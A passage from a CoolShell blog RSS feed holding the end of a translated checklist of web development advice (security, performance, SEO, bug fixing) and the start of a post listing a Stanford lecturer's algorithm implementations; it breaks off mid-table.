href=\"https://www.pcisecuritystandards.org/\" rel=\"nofollow\">处理信用卡的一些规则 </a>. (<a href=\"http://stackoverflow.com/questions/51094/payment-processors-what-do-i-need-to-know-if-i-want-to-accept-credit-cards-on-m\">这里也有一个问题你可以查看一下</a>) （陈皓注：有两上vendor可以帮助你，一个是 <a href=\"http://www.authorize.net/\" rel=\"nofollow\">Authorize.Net</a> 另一个是 <a href=\"https://www.paypal.com/cgi-bin/webscr?cmd=_payflow-pro-overview-outside\" rel=\"nofollow\">PayFlow Pro</a>）</li>\n</ul>\n<ul>\n<li>使用 <a href=\"http://www.mozilla.org/projects/security/pki/nss/ssl/draft302.txt\" rel=\"nofollow\">SSL</a>/<a href=\"http://en.wikipedia.org/wiki/Https\" rel=\"nofollow\">HTTPS</a> 来加密传输登录页面或是任可有敏感信息的页面，比如信用卡号等。</li>\n</ul>\n<ul>\n<li>知道如何对付session 劫持。（陈皓注：请参看wikipedia的这<a href=\"http://en.wikipedia.org/wiki/Session_hijacking\" target=\"_blank\">Session Hijacking</a>，）</li>\n</ul>\n<ul>\n<li>避免 <a href=\"http://en.wikipedia.org/wiki/Cross-site_scripting\" rel=\"nofollow\">跨站脚本攻击</a>(XSS)。（陈皓注：参看酷壳站前几天发的《<a title=\"新浪微博的XSS攻击\" href=\"https://coolshell.cn/articles/4914.html\" target=\"_blank\">新浪微博的XSS攻击事件</a>》）</li>\n</ul>\n<ul>\n<li>避免 <a href=\"http://en.wikipedia.org/wiki/Cross-site_request_forgery\" rel=\"nofollow\">跨站</a><a href=\"http://en.wikipedia.org/wiki/Cross-site_request_forgery\" rel=\"nofollow\">伪造</a><a href=\"http://en.wikipedia.org/wiki/Cross-site_request_forgery\" rel=\"nofollow\">请求攻击 cross site request forgeries</a> (XSRF).</li>\n</ul>\n<ul>\n<li>保持你的系统里的所有软件更新到最新的patch。</li>\n</ul>\n<ul>\n<li>确保你的数据库连接是安全的。</li>\n</ul>\n<ul>\n<li>确保你能了解最新的攻击技术，以及你系统的脆弱处。</li>\n</ul>\n<ul>\n<li>请读一下 <a href=\"http://code.google.com/p/browsersec/wiki/Main\" rel=\"nofollow\">The Google Browser Security Handbook</a>.</li>\n</ul>\n<ul>\n<li>请读一下 <a href=\"http://rads.stackoverflow.com/amzn/click/0470170778\" rel=\"nofollow\">The Web Application Hacker&#8217;s Handbook</a>.</li>\n</ul>\n<ul>\n<li>（陈皓注：之前本站的“<a title=\"一些文章资源和趣闻\" href=\"https://coolshell.cn/articles/5537.html\" target=\"_blank\">一些资源</a>”提到过<a href=\"https://wiki.mozilla.org/WebAppSec/Secure_Coding_Guidelines\" target=\"_blank\">Mozilla的安全编程规范</a>，还有Ruby on Rails的<a href=\"http://guides.rubyonrails.org/security.html\" target=\"_blank\">Web安全的开发教程</a>）</li>\n</ul>\n<h4><strong>性能</strong></h4>\n<ul>\n<li>只要需要，请实现cache机制，了解并合理地使用 <a href=\"http://www.mnot.net/cache_docs/\" rel=\"nofollow\">HTTP caching</a> 以及 <a href=\"http://www.w3.org/TR/html5/offline.html\" rel=\"nofollow\">HTML5 Manifest</a>.</li>\n</ul>\n<ul>\n<li>优化页面 —— 不要使用20KB图片来平铺网页背景。（陈皓注：还有很多网页页面优化性的文章，你可以STFG &#8211; Search The Fucking Google一下。如果你要调试的话，你可以使用firebug或是chrome内置的开发人员的工具来查看网页装载的性能）</li>\n<li>学习如何 <a title=\"gzip content\" href=\"http://developer.yahoo.com/performance/rules.html#gzip\" rel=\"nofollow\">gzip/deflate 网页</a> (<a href=\"http://stackoverflow.com/questions/1574168/gzip-vs-deflate-zlib-revisited\">deflate 更好</a>).</li>\n</ul>\n<ul>\n<li>把多个CSS文件和Javascript文件合并成一个，这样可以减少浏览器的网络连数，并且使用gzip压缩被反复用到的文件。</li>\n</ul>\n<ul>\n<li>学习一下 <a href=\"http://developer.yahoo.com/performance/\" rel=\"nofollow\">Yahoo Exceptional Performance</a> 这个网站上的东西，上面有很多非常不错的改善前端性能的指导，以及 <a href=\"http://developer.yahoo.com/yslow/\" rel=\"nofollow\">YSlow</a> 这个工具。 <a href=\"http://code.google.com/speed/page-speed/docs/rules_intro.html\" rel=\"nofollow\">Google page speed</a> 是另一个用来做性能采样的工具。这两个工具都需要安装 <a href=\"http://getfirebug.com/\" rel=\"nofollow\">Firebug</a> 。</li>\n</ul>\n<ul>\n<li>为那些小的图片使用 <a href=\"http://alistapart.com/articles/sprites\" rel=\"nofollow\">CSS Image Sprites</a>，就像工具条一样。 (参看 &#8220;最小化 HTTP 请求&#8221; ) （陈皓注：把所有的小图片合并成一个图片，然后用CSS把显示其中的一块，这样，这些小图片只用传输一次，酷壳的Wordpress样式的那个RSS订阅列表中的小图标就是这样做的）</li>\n</ul>\n<ul>\n<li>繁忙的网络应该考虑<a href=\"http://developer.yahoo.com/performance/rules.html#split\" target=\"_blank\">把网页的内容分开存放</a>在不同的域名下。（陈皓注：比如有专门的图片服务器——图片相当耗带宽，或是专门的Ajax服务器）</li>\n</ul>\n<ul>\n<li>静态网页 (如，图片，CSS，JavaScript，以及一些不需要访问cookies的网页) 应该放在一个<a href=\"http://blog.stackoverflow.com/2009/08/a-few-speed-improvements/\" target=\"_blank\">不使用cookies</a>的独立的域名下，因为所有在同一个域名或子域名下的cookie会被这个域名下的请求一同发送。另一个好的选择是使用 Content Delivery Network (CDN).</li>\n</ul>\n<ul>\n<li>使用单个页面的HTTP请求数最小化。</li>\n</ul>\n<ul>\n<li>为Javascript使用 <a href=\"http://code.google.com/closure/compiler/\" rel=\"nofollow\">Google Closure Compiler</a> 或是 <a href=\"http://developer.yahoo.com/yui/compressor/\" rel=\"nofollow\">其它压缩工具</a>（陈皓注：压缩Javascript代码可以让你的页面减少网络传输从而可以得到很快的喧染。注意，并不是所有的工具都可以正确压缩Javascript的，Google的这个工具甚至还可以帮你优化你的代码）</li>\n</ul>\n<ul>\n<li>确认你的网站有一个 <code>favicon.ico</code> 文件放在网站的根下，如 <code>/favicon.ico</code>. <a href=\"http://mathiasbynens.be/notes/rel-shortcut-icon\" rel=\"nofollow\">浏览器会自动请求这个文件</a>，就算这个图标文件没有在你的网页中明显说明，浏览器也会请求。如果你没有这个文件，就会出大量的404错误，这会消耗你的服务器带宽。（陈皓注：服务器返回404页面会比这个ico文件可能还大）</li>\n</ul>\n<h4><strong>SEO (搜索引擎优化)</strong></h4>\n<ul>\n<li>使用 &#8220;搜索引擎喜欢的&#8221; URL，如：使用 <code>example.com/pages/45-article-title</code> 而不是 <code>example.com/index.php?page=45 </code>(陈皓注：这里的URL是说Wordpress的，后者是默认的)</li>\n</ul>\n<ul>\n<li>如果你的动态页面要使用 <code>#</code> ，那么请把其改成 <code>#!</code> ，而在服务端，你需要处理<code>$_REQUEST[\"_escaped_fragment_\"]</code> 这是Google搜索引擎需要的。换句话说，<code>./#!page=1</code> 会被Google搜索引擎转成 <code>./?_escaped_fragments_=page=1。</code> （陈皓注：通常来说URL中的#后的东西都不会被传到服务器上，所以，为了要让Google可以抓取AJAX的东西，你需要使用#!，而Google会把“#!”转成“_escaped_fragment_”来向服务器发请求，Twitter的大量的链接者是#!的，比如：<a href=\"https://twitter.com/#!/your_activity\">https://twitter.com/#!/your_activity</a>）。另外，用户也许会使用Firefox 或 Chromium， <code>history.pushState({\"foo\":\"bar\"}, \"About\", \"./?page=1\");</code> 是一个很不错的命令。所以，就算是我们的地址栏上的地址改变了，页面也不会重新装载。这可以让你使用 <code>?</code> 而不是 <code>#!</code> 也能无刷地保住当前的动态的页面，这可以让AJAX的请求被浏览器记住。</li>\n</ul>\n<ul>\n<li>别使用 &#8220;click here&#8221; 这样的链接。这样一来，无法SEO，而且对于一些需要使用读屏人来说很不友好（陈皓注：关于读屏软件，可参看本站的“<a title=\"如果你看不见你还能编程吗？\" href=\"https://coolshell.cn/articles/5514.html\" target=\"_blank\">如果看不见你还能编程吗</a>”）</li>\n</ul>\n<ul>\n<li>做一个 <a href=\"http://www.sitemaps.org/\" rel=\"nofollow\">XML sitemap</a>，并放在网端的根下 <code>/sitemap.xml</code>. （陈皓注：这个文件可以让搜索引擎了解你的网站图）</li>\n<li>当你有多个URL指向同一个网页的使用，使用 <a href=\"http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html\" rel=\"nofollow\"><code>&lt;link rel=\"canonical\" ... /&gt;</code></a> 你可以使用 <a href=\"http://www.google.com/webmasters/\" rel=\"nofollow\">Google Webmaster Tools</a> 来查看相关的问题。</li>\n</ul>\n<ul>\n<li>使用 <a href=\"http://www.google.com/webmasters/\" rel=\"nofollow\">Google Webmaster Tools</a> 和 <a href=\"http://siteexplorer.search.yahoo.com/\" rel=\"nofollow\">Yahoo Site Explorer</a>.</li>\n</ul>\n<ul>\n<li>安装 <a href=\"http://www.google.com/analytics/\" rel=\"nofollow\">Google Analytics</a>  (或是别的开源的网站分析工具，如： <a href=\"http://piwik.org/\" rel=\"nofollow\">Piwik</a>).</li>\n</ul>\n<ul>\n<li>了解 <a href=\"http://en.wikipedia.org/wiki/Robots_exclusion_standard\" rel=\"nofollow\">robots.txt</a> 和搜索引擎爬虫是如何工作的。</li>\n</ul>\n<ul>\n<li>重定向请求 (使用 <code>301 重定向网站</code>) ，如果你要把 <code>www.example.com</code> 定向到 <code>example.com</code>(或是其它的变更) 这样可以防止Google的rank因为域名的变化发生改变。（陈皓注：301重定向一般用作域名变更）</li>\n</ul>\n<ul>\n<li>知道并不是所有的爬虫都是好的，有些爬虫的行为并不好。（陈皓注：比如向你的网站发大量的请求导致服务器性能低下）</li>\n</ul>\n<ul>\n<li>如果你有一些非文本的内容需要在 Google&#8217;s sitemap  中，比如视频什么的。<a href=\"http://stackoverflow.com/questions/72394/what-should-a-developer-know-before-building-a-public-web-site#167608\">Tim Farley的答案</a>，可以让你看到很多有价值的东西。</li>\n</ul>\n<h4><strong>技术</strong></h4>\n<ul>\n<li>理解什么是 <a href=\"http://www.ietf.org/rfc/rfc2616.txt\" rel=\"nofollow\">HTTP</a> 比如 GET, POST, sessions, cookies等，了解什么是 &#8220;stateless&#8221; 无状态。</li>\n</ul>\n<ul>\n<li>让你的 <a href=\"http://www.w3.org/TR/xhtml1/\" rel=\"nofollow\">XHTML</a>/<a href=\"http://www.w3.org/TR/REC-html40/\" rel=\"nofollow\">HTML</a> 和 <a href=\"http://www.w3.org/TR/CSS2/\" rel=\"nofollow\">CSS</a> 符合 <a href=\"http://www.w3.org/TR/\" rel=\"nofollow\">W3C 规范</a>，并确认他们都是 <a href=\"http://validator.w3.org/\" rel=\"nofollow\">合格的</a>。我们的目标是避免浏览器的 “quirks mode”，并且可以让其更容易地能和非标准的浏览器工作，比如读屏器或移动设备。</li>\n</ul>\n<ul>\n<li>理解浏览器是怎么处理 JavaScript 的。（陈皓：你会看到有些Javascript代码在页面上前面，有些则是在后面，所以你需要对其了解清楚为什么是这样）</li>\n</ul>\n<ul>\n<li>了解浏览器是怎么装载 JavaScript，CSS和其它资源的，了解其对视觉上的影响。（陈皓注：10年前我做网页的时候因为HTML还很弱，所以只能使用table来布局，使用table布局的问题就是整个table读完后页面才会显示，用户的视觉体验并不好）。在某些情况下，你可能需要<a href=\"http://developer.yahoo.net/blog/archives/2007/07/high_performanc_5.html\" target=\"_blank\">把你的脚本放在页面的后面</a>。</li>\n</ul>\n<ul>\n<li>理解 JavaScript 的 sandbox 是怎么怎么工作的，尤其是你想使用iframes。</li>\n</ul>\n<ul>\n<li>请注意 JavaScript 可能会被禁止，这样会让你的AJAX失效。就算是大多数用户都开启了Javascript功能，但是也可能在一些情况下脚本是不被运行的，比如移动终端上，搜索引擎抓网页的时候也并不会执行你的脚本。</li>\n</ul>\n<ul>\n<li>学习 <a href=\"http://www.bigoakinc.com/blog/when-to-use-a-301-vs-302-redirect/\" rel=\"nofollow\">301 和 302 转向的区别</a> (这也是一个SEO的问题).</li>\n</ul>\n<ul>\n<li>尽可能多地学习你的部署平台。（比如：操作系统，Web Server：Apache/Nginx，防火墙，数据库，等等）</li>\n</ul>\n<ul>\n<li>考虑使用一个 <a href=\"http://stackoverflow.com/questions/167531/is-it-ok-to-use-a-css-reset-stylesheet\">Reset Style Sheet</a>.</li>\n</ul>\n<ul>\n<li>考虑使用 JavaScript 框架(如： <a href=\"http://jquery.com/\" rel=\"nofollow\">jQuery</a>, <a href=\"http://mootools.net/\" rel=\"nofollow\">MooTools</a>, <a href=\"http://www.prototypejs.org/\" rel=\"nofollow\">Prototype</a>, <a href=\"http://dojotoolkit.org/\" rel=\"nofollow\">Dojo</a> 或 <a href=\"http://developer.yahoo.com/yui/3/\" rel=\"nofollow\">YUI 3</a>)，它们会很好的兼容于不同的浏览器。（陈皓注：强烈推荐你看一下本站的<a title=\"开源中最好的Web开发的资源\" href=\"https://coolshell.cn/articles/4795.html\" target=\"_blank\">开源中最好的WEB开发资源</a>一文）</li>\n</ul>\n<ul>\n<li>把视觉效果和JS框架合在一起讨论，考虑使用一个Service，如：<a href=\"http://code.google.com/apis/libraries/devguide.html\" rel=\"nofollow\">Google Libraries API</a> 来装载框架，这样可以让浏览器可能早就把这个JS框架已经cache了而不需要再从你的网站上下载了。</li>\n</ul>\n<h4><strong>Bug fixing</strong></h4>\n<ul>\n<li>明白你会花20%的时间写代码，而80%的时候在维护，所以你要小心编码。（陈皓注：参看本站的“<a title=\"多些时间能少写些代码\" href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\">多些时间可以少些代码</a>”一文）</li>\n</ul>\n<ul>\n<li>设计一个好的错误报告机制。</li>\n</ul>\n<ul>\n<li>设计一个入口可以让人们联系到你并给你建议和批评。</li>\n</ul>\n<ul>\n<li>为你开发的东西形成文档，这样可以让后来的人容易维护你的软件和系统。</li>\n</ul>\n<ul>\n<li>频繁备份（也可确保你的这些备份功能正常） <a href=\"http://stackoverflow.com/questions/72394/what-should-a-developer-know-before-building-a-public-web-site#73970\">Ed Lucas 的回答</a> 有一些忠告。你还需要有一个恢复策略，而不只是一个备份策略。</li>\n</ul>\n<ul>\n<li>使用一个版本控制系统来保存你的代码，如： <a href=\"http://subversion.apache.org/\" rel=\"nofollow\">Subversion</a> 或 <a href=\"http://git-scm.org/\" rel=\"nofollow\">Git</a>.</li>\n</ul>\n<ul>\n<li>别忘了做Acceptance Testing，使用 <a href=\"http://seleniumhq.org/\" rel=\"nofollow\">Selenium</a> 能帮到你。</li>\n</ul>\n<ul>\n<li>确保你有足够的日志，你可以使用 log4j, log4n 或 log4r。如果出了问题，这是可以让你快速找到问题的方式。</li>\n</ul>\n<ul>\n<li>当你写日志的时候，确保你记录了你捕获了处理和未处理异常。报告和分析日志可以让你知道你网站的问题。</li>\n</ul>\n<p>这里有多的东西被省略了，并不是因为那些可能不是有帮助的答案，而是因为那些东西都太细节了，超出了这个问题的范围，因为这本来就是一个Web开发需要了解东西的Overview。我想你可以去看一下其它人的答案，我有时间，我也会补充别人的答案进来。请随意编辑这个答案，因为可能有些东西忘了，也有可能有些东西不对。</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png\" alt=\"从“黑掉Github”学Web安全开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_title\">从“黑掉Github”学Web安全开发</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6043.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>150</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些有意思的算法代码</title>\n\t\t<link>https://coolshell.cn/articles/6010.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6010.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 29 Nov 2011 03:11:07 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6010</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Keith Schwarz是一个斯坦福大学计算机科学系的讲师。他对编程充满了热情。他的主页上他自己正在实现各种各样的有意思的算法和数据结构，http://www...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6010.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Keith Schwarz是一个斯坦福大学计算机科学系的讲师。他对编程充满了热情。他的主页上他自己正在实现各种各样的有意思的算法和数据结构，<a href=\"http://www.keithschwarz.com/interesting/\">http://www.keithschwarz.com/interesting/</a>， 目前这个网页上有88个（见下面的列表），但这位大哥要干135个，你可以看看他的<a href=\"http://www.keithschwarz.com/interesting/\" target=\"_blank\">To-Do List</a>。</p>\n<p>从这个列表上，我们可以看到，他从去年7月份就在自己实现这些东西了，我把他实现的这些算法转过来，</p>\n<ul>\n<li>一方面我们可以学习一下这些算法和代码，因为很多东西对我来说都比较新，我以前<a href=\"https://coolshell.cn/articles/2583.html\" target=\"_blank\">列举过一些经典的算法</a>，<a title=\"链接：算法和数据结构词典\" href=\"https://coolshell.cn/articles/1499.html\" rel=\"bookmark\">算法和数据结构词典</a>，还有<a title=\"链接：可视化的数据结构和算法\" href=\"https://coolshell.cn/articles/4671.html\" rel=\"bookmark\">可视化的数据结构和算法</a>， 不过感觉都没有这个全。</li>\n</ul>\n<ul>\n<li>另一方面我希望这个事可以影响到一些正在学习编程的人。看看别人是怎么学习编程的，希望对你有借鉴作用。</li>\n</ul>\n<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"6\">\n<thead>\n<tr>\n<th>Name</th>\n<th>Link</th>\n<th>Date Added</th>\n<th>Language</th>\n<th>Description</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Binomial Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=binomial-heap\">(link)</a></td>\n<td>7‑24‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Binomial_heap\">binomial heap</a> data structure for use as a priority queue.</td>\n</tr>\n<tr>\n<td>Bounded Priority Queue</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=bounded-pqueue\">(link)</a></td>\n<td>7‑24‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Priority_queue\">priority queue</a> with a fixed upper limit to its size..</td>\n</tr>\n<tr>\n<td>Matrix</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=matrix\">(link)</a></td>\n<td>7‑24‑2010</td>\n<td>C++</td>\n<td>A collection of classes for manipulating <a href=\"http://en.wikipedia.org/wiki/Matrix_%28mathematics%29\">matrices</a>.</td>\n</tr>\n<tr>\n<td>VList</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=vlist\">(link)</a></td>\n<td>8‑16‑2010</td>\n<td>Java</td>\n<td>An implementation of the <tt>List</tt> abstraction backed by a <a href=\"http://en.wikipedia.org/wiki/VList\">VList</a>.</td>\n</tr>\n<tr>\n<td>Function Wrapper</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=function\">(link)</a></td>\n<td>8‑16‑2010</td>\n<td>C++</td>\n<td>A C++ wrapper class around unary functions.</td>\n</tr>\n<tr>\n<td>String</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=string\">(link)</a></td>\n<td>8‑17‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/String_(computer_science)\">string</a> abstraction that uses the small string optimization.</td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-6010\"></span></p>\n<table>\n<tbody>\n<tr>\n<td>nstream</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=nstream\">(link)</a></td>\n<td>8‑31‑2010</td>\n<td>C++</td>\n<td>An stream class that sends and receives data over a network.</td>\n</tr>\n<tr>\n<td>Snake</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=snake\">(link)</a></td>\n<td>8‑31‑2010</td>\n<td>C++</td>\n<td>An implementation of the game <a href=\"http://en.wikipedia.org/wiki/Snake_(video_game)\"><em>Snake</em></a> with a rudimentary AI.</td>\n</tr>\n<tr>\n<td>Mergesort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=mergesort\">(link)</a></td>\n<td>9‑14‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Mergesort\">mergesort</a> algorithm.</td>\n</tr>\n<tr>\n<td>Next Permutation</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=next-permutation\">(link)</a></td>\n<td>10‑6‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://www.cplusplus.com/reference/algorithm/next_permutation/\"><tt>next_permutation</tt></a> STL algorithm.</td>\n</tr>\n<tr>\n<td>Interval Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=interval-heap\">(link)</a></td>\n<td>10‑17‑2010</td>\n<td>Java</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Double-ended_priority_queue\">double-ended priority queue</a> using an <a href=\"http://www.mhhe.com/engcs/compsci/sahni/enrich/c9/interval.pdf\">interval heap</a>.</td>\n</tr>\n<tr>\n<td>Linear-Time Selection</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=median-of-medians\">(link)</a></td>\n<td>10‑18‑2010</td>\n<td>C++</td>\n<td>A deterministic, linear-time <a href=\"http://en.wikipedia.org/wiki/Selection_algorithm\">selection algorithm</a> using the <a href=\"http://en.wikipedia.org/wiki/Selection_algorithm#Linear_general_selection_algorithm_-_Median_of_Medians_algorithm\">median-of-medians</a> algorithm.</td>\n</tr>\n<tr>\n<td>Heapsort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=heapsort\">(link)</a></td>\n<td>10‑18‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Heapsort\">heapsort</a> algorithm.</td>\n</tr>\n<tr>\n<td>Union-Find</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=union-find\">(link)</a></td>\n<td>10‑19‑2010</td>\n<td>Java</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Disjoint-set_data_structure\">disjoint-set data structure</a> using a disjoint set forest.</td>\n</tr>\n<tr>\n<td>Radix Sort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=radix-sort\">(link)</a></td>\n<td>10‑19‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Radix_sort\">radix sort</a> algorithm.</td>\n</tr>\n<tr>\n<td>Rational</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=rational\">(link)</a></td>\n<td>10‑23‑2010</td>\n<td>C++</td>\n<td>A data structure representing a <a href=\"http://en.wikipedia.org/wiki/Rational_number\">rational number</a>.</td>\n</tr>\n<tr>\n<td>DPLL</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=dpll\">(link)</a></td>\n<td>10‑23‑2010</td>\n<td>Haskell</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/DPLL_algorithm\">DPLL algorithm</a> for solving <a href=\"http://en.wikipedia.org/wiki/Boolean_satisfiability_problem\">CNF-SAT</a>.</td>\n</tr>\n<tr>\n<td>Smoothsort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=smoothsort\">(link)</a></td>\n<td>10‑27‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://www.keithschwarz.com/smoothsort/\">smoothsort algorithm</a>, an adaptive heapsort variant.</td>\n</tr>\n<tr>\n<td>Extendible Array</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=extendible-array\">(link)</a></td>\n<td>10‑28‑2010</td>\n<td>Java</td>\n<td>A <a href=\"http://en.wikipedia.org/wiki/Dynamic_array\">dynamic array</a> class with O(1) worst-case runtime lookup and append.</td>\n</tr>\n<tr>\n<td>In-Place Merge</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=inplace-merge\">(link)</a></td>\n<td>10‑29‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Merge_algorithm\">merge algorithm</a> that runs <a href=\"http://en.wikipedia.org/wiki/In-place_algorithm\">in-place</a>.</td>\n</tr>\n<tr>\n<td>Random Shuffle</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=random-shuffle\">(link)</a></td>\n<td>10‑29‑2010</td>\n<td>C++</td>\n<td>An algorithm for generating a <a href=\"http://en.wikipedia.org/wiki/Random_permutation\">random permutation</a> of a set of elements.</td>\n</tr>\n<tr>\n<td>Random Sample</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=random-sample\">(link)</a></td>\n<td>10‑29‑2010</td>\n<td>C++</td>\n<td>An O(n) time, O(1) space algorithm for randomly choosing k elements out of a stream with uniform probability.</td>\n</tr>\n<tr>\n<td>Natural Mergesort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=natural-mergesort\">(link)</a></td>\n<td>10‑30‑2010</td>\n<td>C++</td>\n<td>An implementation of <a href=\"http://www.algorithmist.com/index.php/Merge_sort#Natural_mergesort\">natural mergesort</a>, an <a href=\"http://en.wikipedia.org/wiki/Adaptive_sort\">adaptive</a> variant of <a href=\"http://en.wikipedia.org/wiki/Merge_sort\">mergesort</a>.</td>\n</tr>\n<tr>\n<td>Interpolation Search</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=interpolation-search\">(link)</a></td>\n<td>10‑31‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Interpolation_search\">interpolation search</a> 